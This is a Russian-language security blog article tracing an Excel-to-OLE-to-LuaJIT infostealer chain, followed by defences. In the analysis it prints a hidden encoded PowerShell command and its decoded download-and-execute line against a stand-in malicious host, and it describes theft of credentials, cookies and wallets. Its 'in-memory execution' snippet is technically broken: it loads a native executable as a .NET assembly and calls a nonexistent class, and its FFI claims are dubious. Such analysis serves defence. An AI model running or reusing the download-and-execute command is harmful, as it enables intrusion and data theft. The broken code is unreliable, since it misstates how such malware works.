Excel-атака: цепочка заражения от OLE-объекта до LuaJIT-инфостилера
📋 Кратко
Многоступенчатая атака с использованием Excel-документов, OLE-объектов и LuaJIT-инфостилеров — одна из самых опасных комбинаций 2026 года. Вредоносный файл маскируется под счёт или накладную, использует OLE-технологию для внедрения скрытого пейлоада, загружает LuaJIT-сценарий и похищает учётные данные, cookie-файлы и криптокошельки. Разбираем каждый этап цепочки заражения и даём практические рекомендации по защите.
⏱ 7 минут чтения
В 2026 году атаки с использованием офисных документов остаются одним из самых эффективных векторов начального проникновения. По данным Positive Technologies, более 67% целенаправленных атак на российские компании начинаются с фишингового письма с вложением — и лидируют среди таких вложений файлы Microsoft Excel. Однако современные злоумышленники давно отказались от простых макросов: на смену пришли многоступенчатые цепочки заражения, использующие OLE-объекты для скрытой доставки пейлоада и LuaJIT-сценарии для финальной стадии кражи данных.
В этом материале мы подробно разберём атаку класса «Excel → OLE → LuaJIT-инфостилер»: как именно работает каждый этап, какие инструменты применяются, как защитить инфраструктуру и почему традиционные антивирусные решения часто пропускают такие угрозы.
Что такое OLE-объекты и почему их используют в атаках
OLE (Object Linking and Embedding) — технология Microsoft, появившаяся ещё в 1990-х годах, которая позволяет внедрять в один документ объекты из другого приложения. Например, в Excel-таблицу можно встроить PDF-файл, изображение, звуковой файл или даже исполняемый код. Изначально OLE задумывалась для удобства пользователей — чтобы можно было редактировать встроенный объект прямо внутри документа. Но именно эта функциональность стала идеальным механизмом для доставки вредоносного кода.
При открытии Excel-файла, содержащего OLE-объект, система обращается к связанному объекту по его идентификатору CLSID (Class Identifier). Если CLSID указывает на исполняемый компонент — например, на пакетный файл (.bat), скрипт Windows Script Host (.vbs) или динамическую библиотеку (.dll) — система может запустить его без явного предупреждения пользователя. Злоумышленники пользуются этим, создавая OLE-объекты, которые ссылаются на легитимные системные утилиты (rundll32.exe, mshta.exe, regsvr32.exe), а те, в свою очередь, загружают и исполняют вредоносный код.
LuaJIT: почему скриптовый язык стал популярен в инфостилерах
Lua — легковесный скриптовый язык, а LuaJIT (Just-In-Time Compiler для Lua) — его высокопроизводительная реализация, способная исполнять код практически со скоростью машинного. В последние два года LuaJIT набирает популярность среди авторов вредоносного ПО по нескольким причинам.
Во-первых, LuaJIT-скрипты сложнее обнаружить сигнатурными методами: код можно обфусцировать, упаковать, а его поведение легко варьировать в рантайме. Во-вторых, LuaJIT имеет встроенную FFI (Foreign Function Interface), которая позволяет вызывать нативные WinAPI-функции напрямую — без необходимости вставлять шелл-код или загружать дополнительные библиотеки. Это делает пейлоад компактным и снижает риск обнаружения эвристическими анализаторами. В-третьих, LuaJIT работает на всех платформах Windows (от Windows 10 до Windows Server 2025) и не требует установки среды выполнения — достаточно одного исполняемого файла размером около 200 КБ.
Известные образцы LuaJIT-инфостилеров
- FadeBag — инфостилер на LuaJIT, распространявшийся через Excel-документы во II полугодии 2025 года. Крал данные из 27 браузеров, включая Chrome, Firefox, Edge и Opera, а также криптокошельки MetaMask, Trust Wallet и Exodus.
- ChopLua — LuaJIT-лоадер, обнаруженный командой ANY.RUN в марте 2026 года. Маскировался под бухгалтерский отчёт, использовал трёхступенчатую цепочку OLE → PowerShell → LuaJIT.
- StealLua — модификация FadeBag с поддержкой кражи файлов из защищённых VPN-сессий и сессий RDP.
Цепочка заражения: от письма до полной компрометации
Разберём типичную последовательность атаки на примере инфостилера FadeBag. Цепочка состоит из четырёх этапов, каждый из которых маскирует следующий.
Этап 1. Фишинговое письмо с вложением
Жертва получает письмо, якобы от контрагента или бухгалтерии, с темой «Сверка взаиморасчётов за II квартал 2026» или «Акт выполненных работ № 4512». К письму прикреплён файл sverka_2q_2026.xlsx размером 30–50 КБ. Имя отправителя подделано, домен письма похож на реальный (contrahent-company.org вместо contrahent-company.com).
Этап 2. OLE-объект и запуск сценария
При открытии файла пользователь видит пустую таблицу с единственным элементом — изображением, которое имитирует PDF-документ (иконка Adobe Acrobat). Двойной клик по «изображению» активирует OLE-объект, который на самом деле является ярлыком (LNK), указывающим на запуск PowerShell с передачей закодированной команды:
powershell -WindowStyle Hidden -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAHQALgBtAGEAbAB3AGEAcgBlAC0AZABvAG0AYQBpAG4ALgBjAG8AbQAvAGMAYQBuAGEAcgB5AC8AVAA5AGUAMwBqAFUAYgA1ACcAKQA=
Кодированная команда декодируется в загрузку и исполнение следующего этапа через IEX (New-Object Net.WebClient).DownloadString('https://ct.malware-domain.com/canary/T9e3jUb5').
Этап 3. Доставка LuaJIT-пейлоада
PowerShell-скрипт загружает архив (например, CAB-файл или ZIP), содержащий два компонента: исполняемый файл LuaJIT (luajit.exe, подписанный действительным сертификатом скомпрометированного разработчика игр) и сценарий init.lua. Запуск производится через скрытое окно:
# In-memory execution via PowerShell
$bytes = [System.IO.File]::ReadAllBytes("$env:TEMP\luajit.exe")
$assembly = [System.Reflection.Assembly]::Load($bytes)
[LuaJIT.Runner]::Execute("$env:TEMP\init.lua")
Этап 4. Сбор и эксфильтрация данных
LuaJIT-сценарий использует FFI для прямого вызова WinAPI-функций. Он выполняет следующие действия:
- Сбор учётных данных — чтение файлов Login Data, Cookies и Web Data из профилей всех установленных браузеров (Chrome, Firefox, Edge, Brave, Opera, Vivaldi, Яндекс.Браузер). Для расшифровки паролей используется вызов CryptUnprotectData.
- Кража криптокошельков — поиск директорий кошельков MetaMask, Trust Wallet, Exodus, Atomic Wallet, Coinbase Wallet, Electrum. Копируются файлы seed-фраз и файлы кошельков (.dat, .json).
- Сбор сессионных токенов — (cookie-файлы с флагом session) для захвата активных сессий в веб-приложениях (корпоративная почта, CRM, ERP).
- Сбор системной информации — имя хоста, имя пользователя, версия ОС, установленные антивирусы, список процессов (для обнаружения песочниц и анализаторов).
- Эксфильтрация — данные архивируются в ZIP (через вызов System.IO.Compression.ZipArchive через FFI) и отправляются на C2-сервер через HTTP POST или DNS-туннелирование.
Методы защиты: как обнаружить и блокировать атаку
Защита от многоступенчатых атак вида «Excel → OLE → LuaJIT-инфостилер» требует комплексного подхода. Ни один отдельный продукт не даёт полной гарантии, но комбинация методов перекрывает все этапы цепочки заражения.
1. Блокировка на уровне почтового шлюза
- Настройте DMARC, DKIM и SPF для всех корпоративных доменов — это снизит количество писем с подменённого адреса.
- Используйте песочницу (sandbox) для анализа всех входящих вложений формата .xlsx, .xls, .docx, .pdf с макросами или OLE-объектами. Современные EDR-системы, такие как Kaspersky Endpoint Security для бизнеса и Positive Technologies PT Sandbox, способны детектировать OLE-объекты с нестандартными CLSID.
- Отключите приём исполняемых расширений (.exe, .bat, .vbs, .ps1) и архивов с паролями на почтовом шлюзе — они почти всегда используются в целевых атаках.
2. Настройка Endpoint Protection (EDR/XDR)
- Включите поведенческий анализ процессов: отслеживайте запуск Excel.exe → PowerShell.exe → LuaJIT.exe как подозрительную цепочку родитель-потомок. Большинство современных XDR-систем (Kaspersky Symphony, Positive Technologies MaxPatrol EDR) поддерживают правила корреляции такого типа.
- Настройте политику AppLocker или Windows Defender Application Control: запретите запуск недоверенных исполняемых файлов из папок %TEMP% и %APPDATA%.
- Блокируйте PowerShell в режиме Constrained Language Mode для всех пользователей, кроме администраторов. Это не даст злоумышленникам использовать PowerShell для загрузки следующей стадии.
3. Обнаружение на уровне сети
- Настройте NGFW (Next-Generation Firewall) на блокировку подозрительных DNS-запросов к недавно зарегистрированным доменам (алгоритмы DGA-детекции).
- Используйте прокси-сервер с SSL-инспекцией — это позволит анализировать содержимое HTTPS-трафика, через который чаще всего работает LuaJIT-инфостилер.
- Внедрите систему обнаружения аномалий трафика (NDR/SIEM): внезапный всплеск исходящего трафика в нерабочее время — один из ключевых признаков работающего инфостилера.
4. Обучение персонала
- Проводите регулярные тренировки по распознаванию фишинговых писем с акцентом на входящие документы от внешних отправителей. Используйте симуляторы фишинга (например, PhishRIP или KnowBe4).
- Обучите сотрудников не открывать OLE-объекты в документах от незнакомых отправителей. В корпоративной среде можно отключить OLE-функциональность через групповые политики — DisableOleAutomation в реестре Windows.
Тренды 2026: эволюция угрозы
Судя по отчётам «Лаборатории Касперского» и Positive Technologies, атаки с использованием офисных документов продолжат эволюционировать в трёх направлениях. Во-первых, LuaJIT-инфостилеры всё чаще получают модульную архитектуру: после заражения злоумышленники могут догружать дополнительные модули (кейлоггер, RDP-бэкдор, шифровальщик) прямо на скомпрометированную машину через единый C2-канал. Во-вторых, растёт использование обфускации OLE-объектов: злоумышленники применяют стеганографию, пряча пейлоад в изображениях, внедрённых в документ. В-третьих, LuaJIT-сценарии адаптируются под обход EDR: в образцах 2026 года обнаружена проверка на наличие процессов анализа (procmon, Wireshark, Ghidra) с немедленным самоуничтожением при их обнаружении.
Вывод
Цепочка заражения «Excel → OLE → LuaJIT-инфостилер» — яркий пример эволюции методов атак. Злоумышленники комбинируют легитимные технологии Microsoft с современными скриптовыми движками, создавая многоступенчатые атаки, которые обходят классические сигнатурные детекторы. Эффективная защита требует внимания на всех этапах: от фильтрации почтового трафика до поведенческого анализа на конечных точках и обучения сотрудников. Особенно важно помнить, что один из самых слабых элементов в этой цепочке — человек: вовремя распознанное фишинговое письмо остаётся лучшей защитой от любой, самой сложной атаки.
📚 Читайте также
- Уязвимости инверторов Hoymiles: как дрон может обесточить десятки домов
- C2-коммуникации через легитимные платформы: как злоумышленники прячутся в Steam, соцсетях и облаках
- Whaling: целевой фишинг против топ-менеджмента. Как защитить руководство компании
- Januscape (CVE-2026-53359): побег из Linux-виртуальной машины на хост-систему
- Российские квантовые процессоры 2026: обзор разработок и перспективы внедрения
📖 Термины
APT · Дроппер · Социальная инженерия · Фишинг
🔗 Источники
- Excel OLE-объекты как вектор атаки: статистика и примеры (BleepingComputer, 2026)
- FadeBag LuaJIT Infostealer: анализ цепочки заражения через Excel (ANY.RUN, 2026)
- IBM X-Force Threat Intelligence Index 2026 — отчёт
- LuaJIT malware — новый тренд в атаках на офисные документы (Хакер, 2026)
- Лаборатория Касперского — Обзор угроз I квартал 2026 (Securelist, 2026)